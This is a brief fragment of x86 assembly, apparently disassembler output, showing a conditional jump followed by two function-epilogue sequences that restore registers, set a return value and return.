jne 0x41fbf1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret